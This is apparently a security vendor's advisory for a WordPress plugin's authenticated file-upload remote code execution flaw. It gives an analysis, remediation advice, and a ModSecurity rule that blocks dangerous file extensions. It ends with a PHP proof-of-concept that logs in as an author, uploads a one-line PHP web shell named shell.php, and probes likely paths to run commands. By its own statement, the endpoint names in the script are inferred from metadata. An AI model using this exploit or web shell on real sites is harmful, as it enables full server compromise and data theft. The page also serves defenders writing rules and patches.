Atomic Edge analysis of CVE-2026-25447 (metadata-based):
The Widget Wrangler WordPress plugin contains an authenticated remote code execution vulnerability in versions up to 2.3.9. This vulnerability stems from an unrestricted file upload mechanism. Attackers with Author-level permissions or higher can exploit this flaw to execute arbitrary code on the server. The CVSS score of 8.8 reflects high impact across confidentiality, integrity, and availability.
Atomic Edge research infers the root cause is CWE-434, Unrestricted Upload of File with Dangerous Type. The plugin likely accepts file uploads without proper validation of file extensions, MIME types, or file content. This allows authenticated users to upload executable files like PHP scripts. The vulnerability description confirms authenticated attackers with Author-level access can achieve remote code execution. Without access to source code, these conclusions are inferred from the CWE classification and standard WordPress plugin patterns.
Exploitation requires an attacker to first obtain Author-level credentials. The attacker would then locate the plugin’s file upload functionality, typically accessed via an AJAX action or admin page. A likely endpoint is `/wp-admin/admin-ajax.php` with an action parameter like `widget_wrangler_upload`. The attacker would craft a multipart form request containing a malicious PHP file. The payload would be uploaded to a predictable location within `/wp-content/uploads/` or `/wp-content/plugins/widget-wrangler/`. Direct HTTP request to the uploaded file triggers code execution.
Remediation requires implementing strict file upload validation. The plugin should verify file extensions against an allow list of safe types (e.g., .jpg, .png). It should also validate MIME types server-side and scan file content for malicious signatures. WordPress security functions like `wp_check_filetype_and_ext()` should be employed. File uploads must be stored outside web-accessible directories, or with .htaccess restrictions preventing execution.
Successful exploitation grants attackers the ability to execute arbitrary PHP code with web server privileges. This leads to complete compromise of the WordPress site. Attackers can create new administrative users, exfiltrate database contents, install backdoors, or pivot to the underlying server. The Author-level access requirement reduces attack surface but many WordPress sites have multiple authors, making this a significant threat.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25447 (metadata-based)
# This rule blocks exploitation of the Widget Wrangler unrestricted file upload vulnerability.
# The rule targets the most likely AJAX upload endpoint with dangerous file extensions.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625447,phase:2,deny,status:403,chain,msg:'CVE-2026-25447 via Widget Wrangler AJAX file upload',severity:'CRITICAL',tag:'CVE-2026-25447',tag:'wordpress',tag:'widget-wrangler',tag:'rce'"
SecRule ARGS_POST:action "@streq widget_wrangler_upload" "chain"
SecRule FILES "@rx .(php|phtml|php3|php4|php5|php7|phps|phar|inc|pl|py|jsp|asp|aspx|sh|cgi|htaccess)$"
"t:none,t:lowercase,t:urlDecodeUni,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25447 - Widget Wrangler <= 2.3.9 - Authenticated (Author+) Remote Code Execution
<?php
/*
* This PoC is based on metadata analysis and common WordPress plugin patterns.
* Assumptions:
* 1. The plugin has a file upload endpoint at /wp-admin/admin-ajax.php
* 2. The AJAX action parameter is 'widget_wrangler_upload' (inferred from plugin slug)
* 3. The upload parameter is named 'file' (common convention)
* 4. The plugin stores uploaded files in a web-accessible location
* Actual endpoint and parameter names may differ without source code.
*/
$target_url = 'http://vulnerable-site.com';
$username = 'author_user';
$password = 'author_pass';
// Step 1: Authenticate to obtain WordPress cookies
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_25447');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
// Step 2: Craft malicious PHP file upload
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$php_payload = '<?php system($_GET["cmd"]); ?>';
$malicious_file = tempnam(sys_get_temp_dir(), 'exploit');
file_put_contents($malicious_file, $php_payload);
$post_fields = [
'action' => 'widget_wrangler_upload',
'file' => new CURLFile($malicious_file, 'application/x-php', 'shell.php')
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => $post_fields,
CURLOPT_HTTPHEADER => ['Content-Type: multipart/form-data']
]);
$upload_response = curl_exec($ch);
// Step 3: Attempt to locate and execute uploaded shell
// Without exact response format, we attempt common upload locations
$common_paths = [
'/wp-content/uploads/widget-wrangler/shell.php',
'/wp-content/uploads/shell.php',
'/wp-content/plugins/widget-wrangler/tmp/shell.php'
];
foreach ($common_paths as $path) {
curl_setopt($ch, CURLOPT_URL, $target_url . $path . '?cmd=id');
curl_setopt($ch, CURLOPT_HTTPGET, true);
$exec_response = curl_exec($ch);
if (strpos($exec_response, 'uid=') !== false) {
echo "[+] RCE successful at: {$path}n";
echo "[+] Output: {$exec_response}n";
break;
}
}
curl_close($ch);
unlink($cookie_file);
unlink($malicious_file);
?>
